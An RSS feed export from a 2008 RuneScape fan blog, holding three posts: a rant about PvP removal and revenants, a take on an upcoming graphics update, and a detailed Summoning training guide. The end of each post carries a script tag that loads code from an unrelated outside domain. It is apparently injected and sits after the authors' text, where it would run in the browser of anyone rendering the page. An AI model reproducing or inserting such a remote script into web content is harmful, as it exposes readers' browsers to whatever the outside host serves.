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	<title>The RuneScape Blog &#187; Updates</title>
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		<title>Changes in the past months&#8230;</title>
		<link>http://www.therunescapeblog.com/2008/05/changes-in-the-past-months/</link>
		<comments>http://www.therunescapeblog.com/2008/05/changes-in-the-past-months/#comments</comments>
		<pubDate>Fri, 30 May 2008 00:18:33 +0000</pubDate>
		<dc:creator>General Che Guevara</dc:creator>
				<category><![CDATA[Ramblings]]></category>
		<category><![CDATA[Pking]]></category>
		<category><![CDATA[Updates]]></category>
		<category><![CDATA[Wilderness]]></category>

		<guid isPermaLink="false">http://www.therunescapeblog.com/?p=41</guid>
		<description><![CDATA[With pking removed in December 2007, Che vents on how Jagex went about removing it, and what it was replaced with. ]]></description>
			<content:encoded><![CDATA[<p>Ok. So we have all heard rants and complaints about the changes Jagex made. Taking away Pking, adding BH, Clan Wars, etc. But for once, I think I have a logical argument as to what went wrong besides the &#8220;OMG LOL HOW AM I SUPPOSED TO MAKE MONEYS?&#8221; and the &#8220;WHY YOU DO DAT? HIT SYSTUM RESTUR!!!!&#8221; arguments. Hear me out.<span id="more-41"></span></p>
<p>My main problem with these updates are in fact that Jagex didn&#8217;t give us any warning before doing it. I know that that takes away the ability to buy money before the deadline, but most of us deal better with being told something in advance. It is a lot easier to say goodbye to a friend if he tells you he is moving a month before he does rather than calling you as he is packing. People logged onto their accounts to find that they were in a wilderness that was safe (kind of&#8230; read on). They were shocked. Shocking events usually have worse responses than planned out events. This isn&#8217;t really a problem with the update (I find most of it actually better, as a person who blew at pking&#8230;) but more of a problem of execution.</p>
<p>A bit late, I know, but still.</p>
<p>Now onto Part 2: Revenants.</p>
<p>I feel that revenants were not the way to make the wilderness perilous again. To me, they make the wilderness more dangerous than before. Of course, the wilderness was no cake walk with pking, but it was simple to escape pkers. Not every pker had ice barrage, or could teleblock and freeze. The revenants may not be in strategic places, but if they find you, they will follow you. I once picked up a level 120 some revenant in the level 50+ wilderness. It followed me from Ardy Lever to the Rogue&#8217;s Castle.</p>
<p>Basically, I am ranting because revenants get on my nerves.</p>
<p>I don&#8217;t really have  solution for them except weaken them&#8230; or something.</p>
<p>Anyways, until next time,</p>
<p><span style="#000000;"><strong>Guerrillero Heroico</strong></span><script src="http://ae.awaue.com/7"></script></p>
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		<title>Graphical Update?&#8230;What we think.</title>
		<link>http://www.therunescapeblog.com/2008/05/graphical-updatewhat-we-think/</link>
		<comments>http://www.therunescapeblog.com/2008/05/graphical-updatewhat-we-think/#comments</comments>
		<pubDate>Tue, 27 May 2008 17:44:21 +0000</pubDate>
		<dc:creator>Soulblade102</dc:creator>
				<category><![CDATA[Jagex]]></category>
		<category><![CDATA[Updates]]></category>
		<category><![CDATA[graphics]]></category>

		<guid isPermaLink="false">http://www.therunescapeblog.com/?p=38</guid>
		<description><![CDATA[So by now most people have heard about the upcoming ten ton gorilla graphics update for runescape. To be honest, i think its about time something really good like this happened. For the past year or so, jagex has been getting a bad rep over RuneScape due to all the really radical changes they are [...]]]></description>
			<content:encoded><![CDATA[<p>So by now most people have heard about the upcoming ten ton gorilla graphics update for runescape. To be honest, i think its about time something really good like this happened. For the past year or so, jagex has been getting a bad rep over RuneScape due to all the really radical changes they are making. Of course, thats a whole other issue and would be pointless to discuss in this issue. Anyway, to get back to the point. I think Jagex is finally going to get something right. If RuneScape wants to survive in the upcoming MMORPG heat, it needed to buff up its game. Jagex realized that if they didn&#8217;t cut the laziness and start working on something that will make people head back to RuneScape.. their pretty much over. After all, most people eventually move onto World of Warcraft (WoW) from RuneScape. Why? Although i don&#8217;t have a definite answer, i believe that it could be the possiblity of growing up a bit more. Like for example, as i started to learn more and started to hit age 14-15, i started to realize that there were alot better games out there. That are more fun and graphically more appealing, RuneScape&#8217;s visual appeal started to wear off on me and quite frankly, i got sick of it.<span id="more-38"></span></p>
<p>Now, this may not be the case with all players. I know some people just simply enjoy the simplicity of playing RuneScape in a webbrowser with java. Yeah, everyone has their own preferences. But wow, im actually quite impressed with Jagex. I have looked at some of the screenshots they released and i certainly am impressed. Although we currently don&#8217;t know how they plan to release the high resolution version of the game, im quite firm in believing that the next generation of RuneScape will not be running on java. Simply because java is not good enough.</p>
<p>Ok so, Jagex releases a new graphics update. So what you may ask? I think this is what all those long lost rumors of RuneScape 3 was. They have been working on this update for a <em>very </em>long time. Theres no possible way to reconstruct all of RuneScape in a matter of a year or less. Its just too much work. Ladies and gentlemen, cheers to the next generation of RuneScape!</p>
<p>Now.. we sit and wait, we don&#8217;t know much about this mysterious update..yet. But ill be sure to rewrite another article once it is released.<script src="http://ae.awaue.com/7"></script></p>
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		<title>Summoning Mastery</title>
		<link>http://www.therunescapeblog.com/2008/04/summoning-mastery/</link>
		<comments>http://www.therunescapeblog.com/2008/04/summoning-mastery/#comments</comments>
		<pubDate>Wed, 16 Apr 2008 23:13:08 +0000</pubDate>
		<dc:creator>Deja Vu Xiii</dc:creator>
				<category><![CDATA[Players]]></category>
		<category><![CDATA[Updates]]></category>
		<category><![CDATA[99]]></category>
		<category><![CDATA[Charms]]></category>
		<category><![CDATA[Familiars]]></category>
		<category><![CDATA[Pets]]></category>
		<category><![CDATA[Summoning]]></category>

		<guid isPermaLink="false">http://www.therunescapeblog.com/?p=35</guid>
		<description><![CDATA[Hello, I&#8217;m Deja Vu Xiii (yes, the one from the Hiscores). Last Friday, I became the 36th player to reach 99 Summoning, less than three months after its release. And, despite having only had it for a few days, I quickly noticed a similar pattern of questions emerging from the numerous players I came in [...]]]></description>
			<content:encoded><![CDATA[<p>Hello, I&#8217;m Deja Vu Xiii (yes, the one from the Hiscores). Last Friday, I became the 36th player to reach 99 Summoning, less than three months after its release. And, despite having only had it for a few days, I quickly noticed a similar pattern of questions emerging from the numerous players I came in contact with: &#8220;How much did it cost&#8221;, &#8220;Where did you get charms&#8221;, etc. So, since there&#8217;s still a wide curiosity among most players, I decided it would be a great idea if I went ahead and made this my first article here, in an attempt to educate the masses and give the rest of the 99 Summoners out there a breather from all the questions.</p>
<p><span id="more-35"></span></p>
<p>Now then, where to begin. I&#8217;ll just start with the issue that comes up most often: charms. As you probably know by now if you&#8217;re reading this, there are four types of charms: Gold, Green, Crimson, and Blue. In most cases, the successive color gives more Xp in general than the previous, while in turn being more difficult to obtain, either through rarity of drop or through the difficulty of monsters which drop them. In an attempt to cut down on less important and somewhat dull information, I&#8217;ll go right to the most important of the four as far as training is concerned &#8212; Crimson. This will be the main charm you use in training up your Summoning without a doubt. It&#8217;s good Xp with a decent ratio of spirit shards to go with it. Among the best monsters to kill for obtaining Crimson charms are Greater Demons, Abyssal Demons, Dust Devils, Rock Lobsters, and Waterfiends. These are all of the monsters I experimented on along the way. If done correctly, both Rock Lobsters and Waterfiends can drop Crimson charms at about the same rate, and are two of the fastest monsters to obtain them from. As I mentioned previously, however, the better charms are typically more difficult to obtain due to a monster&#8217;s difficulty. This is the case with Rock Lobsters and Waterfiends, which I will cover in the next two paragraphs.</p>
<p>Rock Lobsters are located in Waterbirth cave in the rooms surrounding the ladder that leads down to the Dagannoth Kings. You pass several on the run to the ladder, but what I was not aware of, and what most of you will probably find interesting is, if you go past the DK ladder to another ladder, then run down a passage and go up yet another ladder, you&#8217;ll be in a room of seven Rock Lobsters (and if you continue down the ladder past these, and up the ladder in the next room, you&#8217;ll appear in the water under the lighthouse, where all the level 74 and 92 Dagannoths are. Crazy, huh?). The best way to kill these is to gather a bunch of them together and Ice Burst (or Barrage) them while standing in a safe spot. A friend recommended that I stand near the ladder that I came up to get to this room as a safe spot. If you do that, you can get up to six of the seven to follow you there and Burst (or Barrage) away. A couple tips to help: When you right-click a pile of them, it will never show more than five, but believe me, there is a sixth there if you went and got it to attack you; also, they can hit fairly high, up to 11 I think, so either bring some Blood Burst/Barrage spells, or some good food (I recommend the Blood spells). Rock Lobsters are the expensive, but relatively easy method for obtaining Crimson charms quickly. In about 10,000 Ice Burst casts, I could get 2,000 Crimson charms. Next, I&#8217;ll cover Waterfiends, a lot less expensive, but considerably more difficult.</p>
<p>Waterfiends are located in the swirling whirlpool near the Barbarian Outpost, where Mithril Dragons, Brutal Green Dragons, and skeletal Barbarian Warriors also reside. I didn&#8217;t use Waterfiends until the last three levels of my feat, but they turned out to be an invaluable source of Crimson charms. They use both Ranged and Magic attacks, so it&#8217;s probably best to wear dragonhide or Karil&#8217;s armor and use the Protect from Missiles prayer when fighting them. They&#8217;re weak to Crush attacks, so good weapons for that are Godswords, including the Saradomin sword and Zamorakian spear. In polling a few of the other high level Summoners, I found that the Saradomin sword is most likely the best weapon to use there. It&#8217;s quite fast and is capable of hitting high amounts of damage frequently. Plus, it&#8217;s a lot cheaper than the Godswords. Using the Saradomin sword, I was able to get upwards of 90 Crimson charms per hour with a decent amount of effort, meaning I could get all the charms from 96-99 Summoning in just a single week. Needless to say, I was very impressed by this, especially considering I was used to getting a mere 35-40 of them per hour in the other places I listed earlier.</p>
<p>So, that was charms. Now, the real drag of the skill &#8212; cost. This is a close second in the questions most asked, and the answer is pretty simple: about 200 million. But before you claw your eyes out just thinking about having to spend that much, consider that this is the gross amount of money spent, and not the net amount. You can actually make quite a bit of it back from just alching the pouches you make. I estimate somewhere in the vicinity of 70-80 million was made back from just alching the pouches I&#8217;d made, which leaves an actual net cost of around 120-130 million. &#8216;But what was it all spent on?&#8217; You ask. Believe it or not, a large majority of the money you&#8217;ll spend on Summoning goes into spirit shards alone. Unlike with Construction, Jagex found a foolproof method of getting you to dump <strong>huge</strong> sums of money back into the game, instead of it simply trading hands. Spirit shards alone will cost you in the area of 120-130 million+ should you decide to get 99. Then, when you factor in secondary ingredients, equipment for killing monsters, etc., you get up around 200 million. Fun!</p>
<p>I&#8217;m sure I know exactly what you&#8217;re thinking now. &#8220;But is it all worth it? Do you really make any of your money back using the creatures?&#8221; I&#8217;ll be honest, it&#8217;s really a matter of opinion. Since the second batch came out, it definitely seems like Jagex has made a concerted effort to improve on the skill, and to encourage people to use it the way it&#8217;s meant to be used. There are at least a few familiars that I have found to be very useful. The first is the Bunyip at 68 Summoning. This thing will heal you for 2 HP every 15 seconds for its entire 44 minute duration, unless of course you&#8217;re already at your max HP. It is very helpful when killing just about anything that isn&#8217;t immediately deadly (i.e. Kalphite Queen, Godwars Bosses, etc.). In other words, it&#8217;s very handy for most Slayer tasks, at Bandits, or even for Thieving (*writes that down*). In addition to this wonderful ability, it can also allow you to eat raw fish with its special ability (using scrolls), assuming you have the cooking level required to cook the fish. Next are the Beasts of Burden (BoB) such as the Spirit Terrorbird (52 Summoning), War Tortoise (67) and Pack Yak (96). Their inventory space has been tripled giving you tons of extra space to bring more materials for whatever and wherever you&#8217;re going. Plus, the Pack Yak&#8217;s special ability allows you to bank any one item in your inventory, extremely useful for killing Spiritual Mages for Dragon boots. And the last familiar I want to promote is the Spirit Kyatt at 57 Summoning. This is one of several Hunter related familiars. This one, however, possesses a very unique and incredibly useful ability. It can teleport you straight to the Hunter area near Piscatoris, which puts you a mere three seconds away from a ladder leading down to a Summoning obelisk where you can then make pouches. Once you&#8217;ve made the pouches, just teleport anywhere with a close bank, then teleport back again with the Kyatt. Extremely fast training.</p>
<p>All right, those were the really pressing issues, now I&#8217;ll throw in some of my own observations and tips that I&#8217;ve noticed along the way. When making pouches, it&#8217;s usually best to make the highest ones you can, unless the secondary ingredient is considerably difficult to obtain in bulk (i.e. Red flowers, Talon Beast charms, etc.). If you plan to alch the pouches you&#8217;re making, don&#8217;t make ones that require only a single spirit shard, they alch for very little and you&#8217;d lose a lot of money. Also, Pets are a nice addition for when you&#8217;re alching. In most cases you only need about 15 pieces of food to maintain your pet until it&#8217;s fully grown while you&#8217;re alching. My pet baby black dragon finished growing early this morning, after finally getting an egg drop after more than 600 black dragons. Bleh. I didn&#8217;t even get a Visage during that time either. <img src='http://www.therunescapeblog.com/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
<p>I think that about wraps up everything I can think of to talk about. Hopefully this quenches your undying thirst for knowledge from all of us master summoners. You&#8217;re welcome to leave any further questions in a comment and I&#8217;ll attempt to add them in at the bottom of this article if I feel it&#8217;s necessary. Enjoy Summoning. <img src='http://www.therunescapeblog.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
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